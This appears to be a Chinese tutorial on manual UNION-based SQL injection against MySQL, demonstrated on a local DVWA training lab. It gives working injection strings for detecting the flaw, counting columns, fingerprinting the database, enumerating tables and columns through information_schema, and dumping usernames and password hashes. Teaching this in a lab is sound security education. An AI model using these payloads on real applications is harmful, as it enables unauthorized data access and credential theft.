MySQL⼿注之联合查询注⼊详解
MySQL联合查询注入原理
union select
联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
Union联合查询注入基本流程
1、判断是否存在注入
方法一:单引号法
注入点'
方法二:逻辑法
and 1=1and 1=21' and '1'='11' and '1'='2
方法三:运算法
-1-0
2、猜解表名
常见的表名:
adminuseradmin_usersystem
3、猜解字段数
order by xx
4、猜解字段名
常见的字段名:
usernamepassworduserpass
5、获取数据
union select 1,2,3... from 表名
MySQL手注之联合查询注入详解
测试环境:dvwa
注入点:http://127.0.0.1/dvwa/vulnerabilities/sqli/
靶场注入语句:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
1、判断是否注入
我们可以判断是否存在注入:
判断注入语句:1' and '1'='1这样我们的 and 就逃逸出来了(为了闭合):$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';";
1' and '1'='1 返回正常!
判断注入语句:1' and '1'='2这样我们的 and 就逃逸出来了(为了闭合):$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';";
1' and '1'='2 返回不正常说明存在注入!很显然这是一个`字符型`注入!因为它用引号包裹起来了!
PS:字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
2、猜解字段数
注入的语句:1' order by 1#带入进查询就是这样的:$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';";注释:# 就是注释后面的内容,这样我们的 order by 就逃逸出来了!
我们先 order by 3
发现错误:
1' order by 3#
order by 2
发现正常:
1' order by 2#
说明字段数有2
个!
3、联合查询
获取当前数据库和数据库用户名:
注入语句:1' union select database(),user() #带到数据库执行就是:$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #';";注释: database() 是一个mysql的函数,意思是查询当前数据库名 user() 意思是查询当前数据库的用户名
查询出来发现当前数据库名是:dvwa
,数据库用户名是 root
!
获取当前的数据库版本和操作系统:
注入语句:1' union select version(),@@version_compile_os #带到数据库执行就是:$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os #';";注释:version() 是一个函数,意思是查询当前数据库的版本信息@@version_compile_os 是一个函数,意思是查询操作系统信息
有上图可见,我们的MySQL
数据库版本为:5.5.53
,而我们的操作系统信息是win32
,说明是windows
操作系统!
为什么要获取MySQL的版本?
因为当MySQL的版本⼩于4.0
时,是不⽀持union select
联合查询的;当MySQL版本⼤于 5.0
时,有个默认数据库information_schema
,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables
的数据表,该表包含两个字段 table_name
和 table_schema
,分别记录 DBMS
中的存储的表名和表名所在的数据库。
4、获取表名
因为我们查询出来了MySQL
的版本是大于5.0
的,那么我们就可以利用联合查询 union select
来对他的数据库下的表名进行查询!
注入语句:1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#带入数据库查询执行就是:$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';";注释:information_schema.tables information_schema下的tables的数据表包含了两个字段:tables_name、tables_schema,分别记录dbms中的存储的表名所在的数据库 where table_schema= 'dvwa' 这里使用了where条件语句指定了查询的数据库名为:dvwa 总的语句的意思就是,查询dvwa这个数据库名下的所有表名
由上图可见,我们查询出来 dvwa
数据库下有两个表:guestbook
、users
两张表!很显然我们的敏感信息就在 users
这张表里!
5、获取表中的列名
我们得到的信息有,数据库名:dvwa
,表名:users
,接下来就查表users
下的列名:
注入语句: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #带入数据库查询执行就是:$query = "SELECT first_name, last_name FROM users WHERE user_id = ' 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #';";注释:group_concat(column_name) group_concat()这个函数是吧所有的信息一次性列举出来,返回一个字符串结果!而他里面的column_name就是我们所有列名information_schema.columns 这个表里存放的是我们数据库中所有的列名信息where table_name='users' 使用where条件来指定我们要获取users表下的列
由上图可见,我们得到了所有的列名:user_id
,first_name
,last_name
,user
,password
,avatar
,last_login
,failed_login
其中铭感的列名就是 user
、password
,我们就查询他们两个列名下的数据!
6、获取数据
到了最后一步,我们得到的信息有:数据库名:dvwa
、表名:users
、列名:user
、passoword
这个时候我们就可以来使用联合查询 union select
来查询 user
、 password
列里的数据了!
注入语句:1' union select user,password from users#带入数据库查询执行就是:$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#';";注释:union select 将多个select的语句的结果合并到一个结果集中里!因为我们注入语句前面就已经是一个查询语句了:SELECT first_name, last_name FROM users WHERE user_id =,而我们使用 union select 就可以吧前面和后面的SQL语句合并为一个SQL语句来进行查询!
由上图可见,我们获取到了他们的账号和加密的密码!至此MySQL手工注入之联合查询就到此为止!